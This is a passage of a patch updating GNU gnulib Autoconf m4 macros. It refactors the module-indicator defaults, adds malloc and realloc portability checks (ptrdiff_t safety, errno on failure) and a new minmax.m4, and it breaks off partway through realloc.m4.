+ m4/fcntl_h.m4 + m4/float_h.m4 ++ m4/free.m4 + m4/fstat.m4 + m4/getdtablesize.m4 + m4/getopt.m4 +@@ -1483,6 +1587,7 @@ AC_DEFUN([gl_FILE_LIST], [ + m4/memchr.m4 + m4/mempcpy.m4 + m4/memrchr.m4 ++ m4/minmax.m4 + m4/mmap-anon.m4 + m4/mode_t.m4 + m4/msvc-inval.m4 +@@ -1498,6 +1603,8 @@ AC_DEFUN([gl_FILE_LIST], [ + m4/pid_t.m4 + m4/printf.m4 + m4/pthread_rwlock_rdlock.m4 ++ m4/realloc.m4 ++ m4/reallocarray.m4 + m4/regex.m4 + m4/setlocale_null.m4 + m4/size_max.m4 +@@ -1540,5 +1647,6 @@ AC_DEFUN([gl_FILE_LIST], [ + m4/wint_t.m4 + m4/xalloc.m4 + m4/xsize.m4 ++ m4/year2038.m4 + m4/zzgnulib.m4 + ]) +--- a/gnulib/m4/inttypes.m4 ++++ b/gnulib/m4/inttypes.m4 +@@ -1,4 +1,4 @@ +-# inttypes.m4 serial 32 ++# inttypes.m4 serial 35 + dnl Copyright (C) 2006-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, +@@ -7,7 +7,7 @@ dnl with or without modifications, as lo + dnl From Derek Price, Bruno Haible. + dnl Test whether <inttypes.h> is supported or must be substituted. + +-AC_DEFUN([gl_INTTYPES_H], ++AC_DEFUN_ONCE([gl_INTTYPES_H], + [ + AC_REQUIRE([gl_INTTYPES_INCOMPLETE]) + gl_INTTYPES_PRI_SCN +@@ -136,19 +136,34 @@ AC_DEFUN([gl_INTTYPES_CHECK_LONG_LONG_IN + AC_SUBST([$1]) + ]) + ++# gl_INTTYPES_MODULE_INDICATOR([modulename]) ++# sets the shell variable that indicates the presence of the given module ++# to a C preprocessor expression that will evaluate to 1. ++# This macro invocation must not occur in macros that are AC_REQUIREd. + AC_DEFUN([gl_INTTYPES_MODULE_INDICATOR], + [ +- dnl Use AC_REQUIRE here, so that the default settings are expanded once only. +- AC_REQUIRE([gl_INTTYPES_H_DEFAULTS]) ++ dnl Ensure to expand the default settings once only. ++ gl_INTTYPES_H_REQUIRE_DEFAULTS + gl_MODULE_INDICATOR_SET_VARIABLE([$1]) + ]) + ++# Initializes the default values for AC_SUBSTed shell variables. ++# This macro must not be AC_REQUIREd. It must only be invoked, and only ++# outside of macros or in macros that are not AC_REQUIREd. ++AC_DEFUN([gl_INTTYPES_H_REQUIRE_DEFAULTS], ++[ ++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_INTTYPES_H_MODULE_INDICATOR_DEFAULTS], [ ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_IMAXABS]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_IMAXDIV]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOIMAX]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOUMAX]) ++ ]) ++ m4_require(GL_MODULE_INDICATOR_PREFIX[_INTTYPES_H_MODULE_INDICATOR_DEFAULTS]) ++ AC_REQUIRE([gl_INTTYPES_H_DEFAULTS]) ++]) ++ + AC_DEFUN([gl_INTTYPES_H_DEFAULTS], + [ +- GNULIB_IMAXABS=0; AC_SUBST([GNULIB_IMAXABS]) +- GNULIB_IMAXDIV=0; AC_SUBST([GNULIB_IMAXDIV]) +- GNULIB_STRTOIMAX=0; AC_SUBST([GNULIB_STRTOIMAX]) +- GNULIB_STRTOUMAX=0; AC_SUBST([GNULIB_STRTOUMAX]) + dnl Assume proper GNU behavior unless another module says otherwise. + HAVE_DECL_IMAXABS=1; AC_SUBST([HAVE_DECL_IMAXABS]) + HAVE_DECL_IMAXDIV=1; AC_SUBST([HAVE_DECL_IMAXDIV]) +--- a/gnulib/m4/iswdigit.m4 ++++ b/gnulib/m4/iswdigit.m4 +@@ -1,4 +1,4 @@ +-# iswdigit.m4 serial 2 ++# iswdigit.m4 serial 3 + dnl Copyright (C) 2020-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, +@@ -81,12 +81,12 @@ main (int argc, char *argv[]) + } + if (setlocale (LC_ALL, "$LOCALE_FR_UTF8") != NULL) + { +- /* This fails on FreeBSD 12, NetBSD 8.0, MSVC 14. */ ++ /* This fails on FreeBSD 13.0, NetBSD 8.0, MSVC 14. */ + /* U+0663 ARABIC-INDIC DIGIT THREE */ + is = for_character ("\331\243", 2); + if (!(is == 0)) + result |= 4; +- /* This fails on FreeBSD 12, NetBSD 8.0, MSVC 14. */ ++ /* This fails on FreeBSD 13.0, NetBSD 8.0, MSVC 14. */ + /* U+FF11 FULLWIDTH DIGIT ONE */ + is = for_character ("\357\274\221", 3); + if (!(is == 0)) +--- a/gnulib/m4/iswxdigit.m4 ++++ b/gnulib/m4/iswxdigit.m4 +@@ -1,4 +1,4 @@ +-# iswxdigit.m4 serial 2 ++# iswxdigit.m4 serial 3 + dnl Copyright (C) 2020-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, +@@ -72,7 +72,7 @@ main (int argc, char *argv[]) + } + if (setlocale (LC_ALL, "$LOCALE_FR_UTF8") != NULL) + { +- /* This fails on FreeBSD 12. */ ++ /* This fails on FreeBSD 13.0. */ + /* U+0663 ARABIC-INDIC DIGIT THREE */ + is = for_character ("\331\243", 2); + if (!(is == 0)) +--- a/gnulib/m4/langinfo_h.m4 ++++ b/gnulib/m4/langinfo_h.m4 +@@ -1,10 +1,10 @@ +-# langinfo_h.m4 serial 9 ++# langinfo_h.m4 serial 12 + dnl Copyright (C) 2009-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, + dnl with or without modifications, as long as this notice is preserved. + +-AC_DEFUN([gl_LANGINFO_H], ++AC_DEFUN_ONCE([gl_LANGINFO_H], + [ + AC_REQUIRE([gl_LANGINFO_H_DEFAULTS]) + +@@ -104,18 +104,33 @@ int a = YESEXPR; + ]], [nl_langinfo]) + ]) + ++# gl_LANGINFO_MODULE_INDICATOR([modulename]) ++# sets the shell variable that indicates the presence of the given module ++# to a C preprocessor expression that will evaluate to 1. ++# This macro invocation must not occur in macros that are AC_REQUIREd. + AC_DEFUN([gl_LANGINFO_MODULE_INDICATOR], + [ +- dnl Use AC_REQUIRE here, so that the default settings are expanded once only. +- AC_REQUIRE([gl_LANGINFO_H_DEFAULTS]) ++ dnl Ensure to expand the default settings once only. ++ gl_LANGINFO_H_REQUIRE_DEFAULTS + gl_MODULE_INDICATOR_SET_VARIABLE([$1]) + dnl Define it also as a C macro, for the benefit of the unit tests. + gl_MODULE_INDICATOR_FOR_TESTS([$1]) + ]) + ++# Initializes the default values for AC_SUBSTed shell variables. ++# This macro must not be AC_REQUIREd. It must only be invoked, and only ++# outside of macros or in macros that are not AC_REQUIREd. ++AC_DEFUN([gl_LANGINFO_H_REQUIRE_DEFAULTS], ++[ ++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_LANGINFO_H_MODULE_INDICATOR_DEFAULTS], [ ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_NL_LANGINFO]) ++ ]) ++ m4_require(GL_MODULE_INDICATOR_PREFIX[_LANGINFO_H_MODULE_INDICATOR_DEFAULTS]) ++ AC_REQUIRE([gl_LANGINFO_H_DEFAULTS]) ++]) ++ + AC_DEFUN([gl_LANGINFO_H_DEFAULTS], + [ +- GNULIB_NL_LANGINFO=0; AC_SUBST([GNULIB_NL_LANGINFO]) + dnl Assume proper GNU behavior unless another module says otherwise. + HAVE_NL_LANGINFO=1; AC_SUBST([HAVE_NL_LANGINFO]) + REPLACE_NL_LANGINFO=0; AC_SUBST([REPLACE_NL_LANGINFO]) +--- a/gnulib/m4/largefile.m4 ++++ b/gnulib/m4/largefile.m4 +@@ -22,7 +22,8 @@ AC_DEFUN([gl_SET_LARGEFILE_SOURCE], + esac + ]) + +-# The following implementation works around a problem in autoconf <= 2.69; ++# Work around a problem in Autoconf through at least 2.71 on glibc 2.34+ ++# with _TIME_BITS. Also, work around a problem in autoconf <= 2.69: + # AC_SYS_LARGEFILE does not configure for large inodes on Mac OS X 10.5, + # or configures them incorrectly in some cases. + m4_version_prereq([2.70], [], [ +@@ -40,6 +41,7 @@ m4_define([_AC_SYS_LARGEFILE_TEST_INCLUD + && LARGE_OFF_T % 2147483647 == 1) + ? 1 : -1]];[]dnl + ]) ++])# m4_version_prereq 2.70 + + + # _AC_SYS_LARGEFILE_MACRO_VALUE(C-MACRO, VALUE, +@@ -54,7 +56,8 @@ m4_define([_AC_SYS_LARGEFILE_MACRO_VALUE + [AC_LANG_PROGRAM([$5], [$6])], + [$3=no; break]) + m4_ifval([$6], [AC_LINK_IFELSE], [AC_COMPILE_IFELSE])( +- [AC_LANG_PROGRAM([#define $1 $2 ++ [AC_LANG_PROGRAM([#undef $1 ++#define $1 $2 + $5], [$6])], + [$3=$2; break]) + $3=unknown +@@ -80,9 +83,8 @@ rm -rf conftest*[]dnl + AC_DEFUN([AC_SYS_LARGEFILE], + [AC_ARG_ENABLE(largefile, + [ --disable-largefile omit support for large files]) +-if test "$enable_largefile" != no; then +- +- AC_CACHE_CHECK([for special C compiler options needed for large files], ++AS_IF([test "$enable_largefile" != no], ++ [AC_CACHE_CHECK([for special C compiler options needed for large files], + ac_cv_sys_largefile_CC, + [ac_cv_sys_largefile_CC=no + if test "$GCC" != yes; then +@@ -107,15 +109,15 @@ if test "$enable_largefile" != no; then + ac_cv_sys_file_offset_bits, + [Number of bits in a file offset, on hosts where this is settable.], + [_AC_SYS_LARGEFILE_TEST_INCLUDES]) +- if test $ac_cv_sys_file_offset_bits = unknown; then +- _AC_SYS_LARGEFILE_MACRO_VALUE(_LARGE_FILES, 1, +- ac_cv_sys_large_files, +- [Define for large files, on AIX-style hosts.], +- [_AC_SYS_LARGEFILE_TEST_INCLUDES]) +- fi +-fi ++ AS_CASE([$ac_cv_sys_file_offset_bits], ++ [unknown], ++ [_AC_SYS_LARGEFILE_MACRO_VALUE([_LARGE_FILES], [1], ++ [ac_cv_sys_large_files], ++ [Define for large files, on AIX-style hosts.], ++ [_AC_SYS_LARGEFILE_TEST_INCLUDES])], ++ [64], ++ [gl_YEAR2038_BODY([])])]) + ])# AC_SYS_LARGEFILE +-])# m4_version_prereq 2.70 + + # Enable large files on systems where this is implemented by Gnulib, not by the + # system headers. +--- a/gnulib/m4/locale_h.m4 ++++ b/gnulib/m4/locale_h.m4 +@@ -1,13 +1,13 @@ +-# locale_h.m4 serial 25 ++# locale_h.m4 serial 28 + dnl Copyright (C) 2007, 2009-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, + dnl with or without modifications, as long as this notice is preserved. + +-AC_DEFUN([gl_LOCALE_H], ++AC_DEFUN_ONCE([gl_LOCALE_H], + [ +- dnl Use AC_REQUIRE here, so that the default behavior below is expanded +- dnl once only, before all statements that occur in other macros. ++ dnl Ensure to expand the default settings once only, before all statements ++ dnl that occur in other macros. + AC_REQUIRE([gl_LOCALE_H_DEFAULTS]) + + dnl Persuade glibc <locale.h> to define locale_t and the int_p_*, int_n_* +@@ -129,22 +129,37 @@ AC_DEFUN([gl_LOCALE_T], + AC_SUBST([HAVE_XLOCALE_H]) + ]) + ++# gl_LOCALE_MODULE_INDICATOR([modulename]) ++# sets the shell variable that indicates the presence of the given module ++# to a C preprocessor expression that will evaluate to 1. ++# This macro invocation must not occur in macros that are AC_REQUIREd. + AC_DEFUN([gl_LOCALE_MODULE_INDICATOR], + [ +- dnl Use AC_REQUIRE here, so that the default settings are expanded once only. +- AC_REQUIRE([gl_LOCALE_H_DEFAULTS]) ++ dnl Ensure to expand the default settings once only. ++ gl_LOCALE_H_REQUIRE_DEFAULTS + gl_MODULE_INDICATOR_SET_VARIABLE([$1]) + dnl Define it also as a C macro, for the benefit of the unit tests. + gl_MODULE_INDICATOR_FOR_TESTS([$1]) + ]) + ++# Initializes the default values for AC_SUBSTed shell variables. ++# This macro must not be AC_REQUIREd. It must only be invoked, and only ++# outside of macros or in macros that are not AC_REQUIREd. ++AC_DEFUN([gl_LOCALE_H_REQUIRE_DEFAULTS], ++[ ++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_LOCALE_H_MODULE_INDICATOR_DEFAULTS], [ ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LOCALECONV]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SETLOCALE]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SETLOCALE_NULL]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_DUPLOCALE]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LOCALENAME]) ++ ]) ++ m4_require(GL_MODULE_INDICATOR_PREFIX[_LOCALE_H_MODULE_INDICATOR_DEFAULTS]) ++ AC_REQUIRE([gl_LOCALE_H_DEFAULTS]) ++]) ++ + AC_DEFUN([gl_LOCALE_H_DEFAULTS], + [ +- GNULIB_LOCALECONV=0; AC_SUBST([GNULIB_LOCALECONV]) +- GNULIB_SETLOCALE=0; AC_SUBST([GNULIB_SETLOCALE]) +- GNULIB_SETLOCALE_NULL=0; AC_SUBST([GNULIB_SETLOCALE_NULL]) +- GNULIB_DUPLOCALE=0; AC_SUBST([GNULIB_DUPLOCALE]) +- GNULIB_LOCALENAME=0; AC_SUBST([GNULIB_LOCALENAME]) + dnl Assume proper GNU behavior unless another module says otherwise. + HAVE_NEWLOCALE=1; AC_SUBST([HAVE_NEWLOCALE]) + HAVE_DUPLOCALE=1; AC_SUBST([HAVE_DUPLOCALE]) +--- a/gnulib/m4/malloc.m4 ++++ b/gnulib/m4/malloc.m4 +@@ -1,21 +1,21 @@ +-# malloc.m4 serial 22 ++# malloc.m4 serial 27 + dnl Copyright (C) 2007, 2009-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, + dnl with or without modifications, as long as this notice is preserved. + + # This is adapted with modifications from upstream Autoconf here: +-# https://git.savannah.gnu.org/cgit/autoconf.git/commit/?id=04be2b7a29d65d9a08e64e8e56e594c91749598c ++# https://git.savannah.gnu.org/cgit/autoconf.git/tree/lib/autoconf/functions.m4?id=v2.70#n949 + AC_DEFUN([_AC_FUNC_MALLOC_IF], + [ + AC_REQUIRE([AC_CANONICAL_HOST])dnl for cross-compiles +- AC_CACHE_CHECK([for GNU libc compatible malloc], ++ AC_CACHE_CHECK([whether malloc (0) returns nonnull], + [ac_cv_func_malloc_0_nonnull], + [AC_RUN_IFELSE( + [AC_LANG_PROGRAM( + [[#include <stdlib.h> + ]], +- [[char *p = malloc (0); ++ [[void *p = malloc (0); + int result = !p; + free (p); + return result;]]) +@@ -24,75 +24,151 @@ AC_DEFUN([_AC_FUNC_MALLOC_IF], + [ac_cv_func_malloc_0_nonnull=no], + [case "$host_os" in + # Guess yes on platforms where we know the result. +- *-gnu* | gnu* | *-musl* | freebsd* | midnightbsd* | netbsd* | openbsd* \ +- | hpux* | solaris* | cygwin* | mingw*) ++ *-gnu* | freebsd* | netbsd* | openbsd* | bitrig* \ ++ | gnu* | *-musl* | midnightbsd* \ ++ | hpux* | solaris* | cygwin* | mingw* | msys* ) + ac_cv_func_malloc_0_nonnull="guessing yes" ;; + # If we don't know, obey --enable-cross-guesses. + *) ac_cv_func_malloc_0_nonnull="$gl_cross_guess_normal" ;; + esac + ]) + ]) +- case "$ac_cv_func_malloc_0_nonnull" in +- *yes) +- $1 +- ;; +- *) +- $2 +- ;; +- esac ++ AS_CASE([$ac_cv_func_malloc_0_nonnull], [*yes], [$1], [$2]) + ])# _AC_FUNC_MALLOC_IF + + # gl_FUNC_MALLOC_GNU + # ------------------ +-# Test whether 'malloc (0)' is handled like in GNU libc, and replace malloc if +-# it is not. ++# Replace malloc if it is not compatible with GNU libc. + AC_DEFUN([gl_FUNC_MALLOC_GNU], + [ + AC_REQUIRE([gl_STDLIB_H_DEFAULTS]) +- dnl _AC_FUNC_MALLOC_IF is defined in Autoconf. +- _AC_FUNC_MALLOC_IF( +- [AC_DEFINE([HAVE_MALLOC_GNU], [1], +- [Define to 1 if your system has a GNU libc compatible 'malloc' +- function, and to 0 otherwise.])], +- [AC_DEFINE([HAVE_MALLOC_GNU], [0]) +- REPLACE_MALLOC=1 ++ AC_REQUIRE([gl_FUNC_MALLOC_POSIX]) ++ if test $REPLACE_MALLOC = 0; then ++ _AC_FUNC_MALLOC_IF([], [REPLACE_MALLOC=1]) ++ fi ++]) ++ ++# gl_FUNC_MALLOC_PTRDIFF ++# ---------------------- ++# Test whether malloc (N) reliably fails when N exceeds PTRDIFF_MAX, ++# and replace malloc otherwise. ++AC_DEFUN([gl_FUNC_MALLOC_PTRDIFF], ++[ ++ AC_REQUIRE([gl_STDLIB_H_DEFAULTS]) ++ AC_REQUIRE([gl_CHECK_MALLOC_PTRDIFF]) ++ test "$gl_cv_malloc_ptrdiff" = yes || REPLACE_MALLOC=1 ++]) ++ ++# Test whether malloc, realloc, calloc refuse to create objects ++# larger than what can be expressed in ptrdiff_t. ++# Set gl_cv_func_malloc_gnu to yes or no accordingly. ++AC_DEFUN([gl_CHECK_MALLOC_PTRDIFF], ++[ ++ AC_CACHE_CHECK([whether malloc is ptrdiff_t safe], ++ [gl_cv_malloc_ptrdiff], ++ [AC_COMPILE_IFELSE( ++ [AC_LANG_PROGRAM( ++ [[#include <stdint.h> ++ ]], ++ [[/* 64-bit ptrdiff_t is so wide that no practical platform ++ can exceed it. */ ++ #define WIDE_PTRDIFF (PTRDIFF_MAX >> 31 >> 31 != 0) ++ ++ /* On rare machines where size_t fits in ptrdiff_t there ++ is no problem. */ ++ #define NARROW_SIZE (SIZE_MAX <= PTRDIFF_MAX) ++ ++ /* glibc 2.30 and later malloc refuses to exceed ptrdiff_t ++ bounds even on 32-bit platforms. We don't know which ++ non-glibc systems are safe. */ ++ #define KNOWN_SAFE (2 < __GLIBC__ + (30 <= __GLIBC_MINOR__)) ++ ++ #if WIDE_PTRDIFF || NARROW_SIZE || KNOWN_SAFE ++ return 0; ++ #else ++ #error "malloc might not be ptrdiff_t safe" ++ syntax error ++ #endif ++ ]])], ++ [gl_cv_malloc_ptrdiff=yes], ++ [gl_cv_malloc_ptrdiff=no]) + ]) + ]) + + # gl_FUNC_MALLOC_POSIX + # -------------------- + # Test whether 'malloc' is POSIX compliant (sets errno to ENOMEM when it +-# fails), and replace malloc if it is not. ++# fails, and doesn't mess up with ptrdiff_t overflow), and replace ++# malloc if it is not. + AC_DEFUN([gl_FUNC_MALLOC_POSIX], + [ + AC_REQUIRE([gl_STDLIB_H_DEFAULTS]) ++ AC_REQUIRE([gl_FUNC_MALLOC_PTRDIFF]) + AC_REQUIRE([gl_CHECK_MALLOC_POSIX]) +- if test $gl_cv_func_malloc_posix = yes; then ++ if test "$gl_cv_func_malloc_posix" = yes; then + AC_DEFINE([HAVE_MALLOC_POSIX], [1], +- [Define if the 'malloc' function is POSIX compliant.]) ++ [Define if malloc, realloc, and calloc set errno on allocation failure.]) + else + REPLACE_MALLOC=1 + fi + ]) + +-# Test whether malloc, realloc, calloc are POSIX compliant, ++# Test whether malloc, realloc, calloc set errno to ENOMEM on failure. + # Set gl_cv_func_malloc_posix to yes or no accordingly. + AC_DEFUN([gl_CHECK_MALLOC_POSIX], + [ +- AC_CACHE_CHECK([whether malloc, realloc, calloc are POSIX compliant], ++ AC_REQUIRE([AC_CANONICAL_HOST]) ++ AC_CACHE_CHECK([whether malloc, realloc, calloc set errno on failure], + [gl_cv_func_malloc_posix], + [ + dnl It is too dangerous to try to allocate a large amount of memory: + dnl some systems go to their knees when you do that. So assume that +- dnl all Unix implementations of the function are POSIX compliant. +- AC_COMPILE_IFELSE( +- [AC_LANG_PROGRAM( +- [[]], +- [[#if defined _WIN32 && ! defined __CYGWIN__ +- choke me +- #endif +- ]])], +- [gl_cv_func_malloc_posix=yes], +- [gl_cv_func_malloc_posix=no]) ++ dnl all Unix implementations of the function set errno on failure, ++ dnl except on those platforms where we have seen 'test-malloc-gnu', ++ dnl 'test-realloc-gnu', 'test-calloc-gnu' fail. ++ case "$host_os" in ++ mingw*) ++ gl_cv_func_malloc_posix=no ;; ++ irix* | solaris*) ++ dnl On IRIX 6.5, the three functions return NULL with errno unset ++ dnl when the argument is larger than PTRDIFF_MAX. ++ dnl On Solaris 11.3, the three functions return NULL with errno set ++ dnl to EAGAIN, not ENOMEM, when the argument is larger than ++ dnl PTRDIFF_MAX. ++ dnl Here is a test program: ++m4_divert_push([KILL]) ++#include <errno.h> ++#include <stdio.h> ++#include <stdlib.h> ++#define ptrdiff_t long ++#ifndef PTRDIFF_MAX ++# define PTRDIFF_MAX ((ptrdiff_t) ((1UL << (8 * sizeof (ptrdiff_t) - 1)) - 1)) ++#endif ++ ++int main () ++{ ++ void *p; ++ ++ fprintf (stderr, "PTRDIFF_MAX = %lu\n", (unsigned long) PTRDIFF_MAX); ++ ++ errno = 0; ++ p = malloc ((unsigned long) PTRDIFF_MAX + 1); ++ fprintf (stderr, "p=%p errno=%d\n", p, errno); ++ ++ errno = 0; ++ p = calloc (PTRDIFF_MAX / 2 + 1, 2); ++ fprintf (stderr, "p=%p errno=%d\n", p, errno); ++ ++ errno = 0; ++ p = realloc (NULL, (unsigned long) PTRDIFF_MAX + 1); ++ fprintf (stderr, "p=%p errno=%d\n", p, errno); ++ ++ return 0; ++} ++m4_divert_pop([KILL]) ++ gl_cv_func_malloc_posix=no ;; ++ *) ++ gl_cv_func_malloc_posix=yes ;; ++ esac + ]) + ]) +--- a/gnulib/m4/mbslen.m4 ++++ b/gnulib/m4/mbslen.m4 +@@ -1,4 +1,4 @@ +-# mbslen.m4 serial 2 ++# mbslen.m4 serial 3 + dnl Copyright (C) 2010-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, +@@ -6,7 +6,7 @@ dnl with or without modifications, as lo + + AC_DEFUN([gl_FUNC_MBSLEN], + [ +- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS]) ++ AC_REQUIRE([gl_STRING_H_DEFAULTS]) + AC_CHECK_FUNCS_ONCE([mbslen]) + if test $ac_cv_func_mbslen = yes; then + HAVE_MBSLEN=1 +--- a/gnulib/m4/memchr.m4 ++++ b/gnulib/m4/memchr.m4 +@@ -1,4 +1,4 @@ +-# memchr.m4 serial 17 ++# memchr.m4 serial 18 + dnl Copyright (C) 2002-2004, 2009-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, +@@ -13,7 +13,7 @@ AC_DEFUN_ONCE([gl_FUNC_MEMCHR], + AC_CHECK_HEADERS_ONCE([sys/mman.h]) + AC_CHECK_FUNCS_ONCE([mprotect]) + +- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS]) ++ AC_REQUIRE([gl_STRING_H_DEFAULTS]) + # Detect platform-specific bugs in some versions of glibc: + # memchr should not dereference anything with length 0 + # https://bugzilla.redhat.com/show_bug.cgi?id=499689 +--- a/gnulib/m4/mempcpy.m4 ++++ b/gnulib/m4/mempcpy.m4 +@@ -1,4 +1,4 @@ +-# mempcpy.m4 serial 11 ++# mempcpy.m4 serial 12 + dnl Copyright (C) 2003-2004, 2006-2007, 2009-2021 Free Software Foundation, + dnl Inc. + dnl This file is free software; the Free Software Foundation +@@ -13,7 +13,7 @@ AC_DEFUN([gl_FUNC_MEMPCPY], + dnl The mempcpy() declaration in lib/string.in.h uses 'restrict'. + AC_REQUIRE([AC_C_RESTRICT]) + +- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS]) ++ AC_REQUIRE([gl_STRING_H_DEFAULTS]) + AC_CHECK_FUNCS([mempcpy]) + if test $ac_cv_func_mempcpy = no; then + HAVE_MEMPCPY=0 +--- a/gnulib/m4/memrchr.m4 ++++ b/gnulib/m4/memrchr.m4 +@@ -1,4 +1,4 @@ +-# memrchr.m4 serial 10 ++# memrchr.m4 serial 11 + dnl Copyright (C) 2002-2003, 2005-2007, 2009-2021 Free Software Foundation, + dnl Inc. + dnl This file is free software; the Free Software Foundation +@@ -10,7 +10,7 @@ AC_DEFUN([gl_FUNC_MEMRCHR], + dnl Persuade glibc <string.h> to declare memrchr(). + AC_REQUIRE([AC_USE_SYSTEM_EXTENSIONS]) + +- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS]) ++ AC_REQUIRE([gl_STRING_H_DEFAULTS]) + AC_CHECK_DECLS_ONCE([memrchr]) + if test $ac_cv_have_decl_memrchr = no; then + HAVE_DECL_MEMRCHR=0 +--- /dev/null ++++ b/gnulib/m4/minmax.m4 +@@ -0,0 +1,44 @@ ++# minmax.m4 serial 4 ++dnl Copyright (C) 2005, 2009-2021 Free Software Foundation, Inc. ++dnl This file is free software; the Free Software Foundation ++dnl gives unlimited permission to copy and/or distribute it, ++dnl with or without modifications, as long as this notice is preserved. ++ ++AC_PREREQ([2.53]) ++ ++AC_DEFUN([gl_MINMAX], ++[ ++ AC_REQUIRE([gl_PREREQ_MINMAX]) ++]) ++ ++# Prerequisites of lib/minmax.h. ++AC_DEFUN([gl_PREREQ_MINMAX], ++[ ++ gl_MINMAX_IN_HEADER([limits.h]) ++ gl_MINMAX_IN_HEADER([sys/param.h]) ++]) ++ ++dnl gl_MINMAX_IN_HEADER(HEADER) ++dnl The parameter has to be a literal header name; it cannot be macro, ++dnl nor a shell variable. (Because autoheader collects only AC_DEFINE ++dnl invocations with a literal macro name.) ++AC_DEFUN([gl_MINMAX_IN_HEADER], ++[ ++ m4_pushdef([header], AS_TR_SH([$1])) ++ m4_pushdef([HEADER], AS_TR_CPP([$1])) ++ AC_CACHE_CHECK([whether <$1> defines MIN and MAX], ++ [gl_cv_minmax_in_]header, ++ [AC_COMPILE_IFELSE( ++ [AC_LANG_PROGRAM( ++ [[#include <$1> ++ int x = MIN (42, 17);]], ++ [[]])], ++ [gl_cv_minmax_in_]header[=yes], ++ [gl_cv_minmax_in_]header[=no])]) ++ if test $gl_cv_minmax_in_[]header = yes; then ++ AC_DEFINE([HAVE_MINMAX_IN_]HEADER, 1, ++ [Define to 1 if <$1> defines the MIN and MAX macros.]) ++ fi ++ m4_popdef([HEADER]) ++ m4_popdef([header]) ++]) +--- a/gnulib/m4/printf.m4 ++++ b/gnulib/m4/printf.m4 +@@ -1,4 +1,4 @@ +-# printf.m4 serial 72 ++# printf.m4 serial 73 + dnl Copyright (C) 2003, 2007-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, +@@ -537,7 +537,7 @@ int main () + && strcmp (buf, "-0X6.488P-1 33") != 0 + && strcmp (buf, "-0XC.91P-2 33") != 0)) + result |= 2; +- /* This catches a FreeBSD 6.1 bug: it doesn't round. */ ++ /* This catches a FreeBSD 13.0 bug: it doesn't round. */ + if (sprintf (buf, "%.2a %d", 1.51, 33, 44, 55) < 0 + || (strcmp (buf, "0x1.83p+0 33") != 0 + && strcmp (buf, "0x3.05p-1 33") != 0 +@@ -1690,6 +1690,7 @@ dnl + dnl 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 + dnl glibc 2.5 . . . . . . . . . . . . . . . . . . . . + dnl glibc 2.3.6 . . . . # . . . . . . . . . . . . . . . ++dnl FreeBSD 13.0 . . . . # . . . . . . . . # . . . . . . + dnl FreeBSD 5.4, 6.1 . . . . # . . . . . . # . # . . . . . . + dnl Mac OS X 10.13.5 . . . # # . # . . . . . . . . . . # . . + dnl Mac OS X 10.5.8 . . . # # . . . . . . # . . . . . . . . +--- /dev/null ++++ b/gnulib/m4/realloc.m4 +@@ -0,0 +1,63 @@ ++# realloc.m4 serial 24 ++dnl Copyright (C) 2007, 2009-2021 Free Software Foundation, Inc. ++dnl This file is free software; the Free Software Foundation ++dnl gives unlimited permission to copy and/or distribute it, ++dnl with or without modifications, as long as this notice is preserved. ++ ++# This is adapted with modifications from upstream Autoconf here: ++# https://git.savannah.gnu.org/cgit/autoconf.git/tree/lib/autoconf/functions.m4?id=v2.70#n1455 ++AC_DEFUN([_AC_FUNC_REALLOC_IF], ++[ ++ AC_REQUIRE([AC_CANONICAL_HOST])dnl for cross-compiles ++ AC_CACHE_CHECK([whether realloc (0, 0) returns nonnull], ++ [ac_cv_func_realloc_0_nonnull], ++ [AC_RUN_IFELSE( ++ [AC_LANG_PROGRAM( ++ [[#include <stdlib.h> ++ ]], ++ [[void *p = realloc (0, 0); ++ int result = !p; ++ free (p); ++ return result;]]) ++ ], ++ [ac_cv_func_realloc_0_nonnull=yes], ++ [ac_cv_func_realloc_0_nonnull=no], ++ [case "$host_os" in ++ # Guess yes on platforms where we know the result. ++ *-gnu* | freebsd* | netbsd* | openbsd* | bitrig* \ ++ | gnu* | *-musl* | midnightbsd* \ ++ | hpux* | solaris* | cygwin* | mingw* | msys* ) ++ ac_cv_func_realloc_0_nonnull="guessing yes" ;; ++ # If we don't know, obey --enable-cross-guesses. ++ *) ac_cv_func_realloc_0_nonnull="$gl_cross_guess_normal" ;; ++ esac ++ ]) ++ ]) ++ AS_CASE([$ac_cv_func_realloc_0_nonnull], [*yes], [$1], [$2]) ++])# AC_FUNC_REALLOC ++ ++# gl_FUNC_REALLOC_GNU ++# ------------------- ++# Replace realloc if it is not compatible with GNU libc. ++AC_DEFUN([gl_FUNC_REALLOC_GNU], ++[ ++ 